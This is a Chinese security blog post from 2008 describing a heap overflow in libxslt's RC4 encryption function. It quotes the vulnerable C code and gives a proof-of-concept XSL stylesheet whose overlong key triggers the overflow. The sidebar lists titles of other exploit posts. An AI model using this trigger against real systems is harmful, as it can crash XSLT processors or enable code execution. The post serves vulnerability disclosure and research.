3xp-0day'Blog

3xp-0day
    <<  阿里巴巴网商博客可插入恶意代码 | 首页 | 测试百度XSS Filter的一些例子  >>
  • 2008-08-04

    libxslt RC4加密/解密函数堆溢出漏洞 - [exp'or'0day]

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://3xp-0day.blogbus.com/logs/26918490.html

    Libxslt是为GNOME项目开发的XSLT C库,XSLT本身是用于定义XML转换的XML语言。

    Libxslt库的crypto.c文件中crypto:rc4_encrypt函数错误的信任了密钥字符串的长度:

    static void
    exsltCryptoRc4EncryptFunction (xmlXPathParserContextPtr ctxt, int nargs) {
    ...
    key = xmlXPathPopString (ctxt);
    key_len = xmlUTF8Strlen (str);
    ...
    padkey = xmlMallocAtomic (RC4_KEY_LENGTH);
    key_size = xmlUTF8Strsize (key, key_len);
    memcpy (padkey, key, key_size);
    memset (padkey + key_size, '\0', sizeof (padkey));
    ...

    padkey堆分配是固定的128位(RC4_KEY_LENGTH),但却从XSL函数参数拷贝了任意长度的字符串,带有超长输入的XML文件就可以触发堆溢出,导致执行任意指令。

     

    测试方法:
    [www.sebug.net]
    以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
    <xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:str="http://exslt.org/strings"
    xmlns:crypto="http://exslt.org/crypto"
    xmlns:math="http://exslt.org/math"
    extension-element-prefixes="str crypto math">
    <xsl:template match="/">
    <xsl:value-of select="crypto:rc4_encrypt('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"/>
    blah
    </xsl:template>
    </xsl:stylesheet>

    历史上的今天:

    教你如何防止被人肉搜索 2008-08-04
    RealVNC DOS Crash PoC 2008-08-04
    测试百度XSS Filter的一些例子 2008-08-04

    随机文章:

    eWebEditorNet upload.aspx 上传漏洞 2008-09-05
    DVBBS php2.0 topicother.php 注入漏洞 2008-08-31
    Oblog最新注入漏洞分析(已修补) 2008-08-08
    PowerDVD '.m3u'/'.pls'文件多个缓冲区溢出漏洞 2008-07-24
    风讯API_Response.asp注入漏洞 2008-07-02

    收藏到:Del.icio.us




    Tag:
    引用地址:
    3exxp-0day 发表于08:03:35 | 编辑 | 继续话题 | 转发 | 分享 0

搜索

最新日志

  • MS Windows GDI+ Proof of Concept (MS08-052) #2
  • Microsoft PicturePusher 'PipPPush.dll' ActiveX控件任意文件下载漏洞
  • Serv-U 7.2.0.1 ftp file replacement
  • MSN Messenger的PNG图像缓冲区溢出漏洞下载Shellcoded
  • RealPlayer/Helix Player Remote Format String Exploit (linux)
  • QZone新版开始支持Firefox浏览器
  • VB100结果揭晓 金山毒霸三冠王
  • PhpCms2007 sp6 SQL injection 0day
  • ESET System Analyzer Tool
  • 传说中微软最强的漏洞MS08052的利用代码
全部日志>>

最新评论

  • XXOXX:这里的东西还不是别人公开之后 兰州转载来了。。。。...
  • 劉:我的公司電腦,不知道哪里被控制了,無法上QQ有哪位高手指...
  • CZ-SMARTONE:SB
  • SNK:你好朋友,我这边有点业务方面的事想和你谈谈。 具体的可...
  • 尤:【QQ 版本】Build 18.55.1250 【Q...
  • aladan:你好,想找你修改一下溢出程序, lifei1949@...
  • xiao3:弱弱的问一下:博主,你手里有诱人的0day吗?...
  • g-hack:友情链接 地址www.G-hack.com 名称:...
  • crab:汗~又看了下,自己错误,命令多了个空格~ ------...
  • crab:试了下,快捷方式,不支持哦! %windir%\sys...
  • 访问统计:
  • RSS 什么是RSS?
    用IM提醒我内容更新
    订阅到QQ邮箱
    订阅到鲜果阅读器
    订阅到Google阅读器
    订阅到抓虾阅读器
  • 《城客》第四期:创意之城
    博客大巴
    博客大巴使用指南
    博客大巴模板中心
    免费注册博客大巴
    一键博客搬家工具
    中文互动杂志城客
Copyright © 2002-2009 BlogBus.com, All Rights Reserved. 博客大巴 版权所有
博客大巴模板设计:那时花开 | 作者:bxguang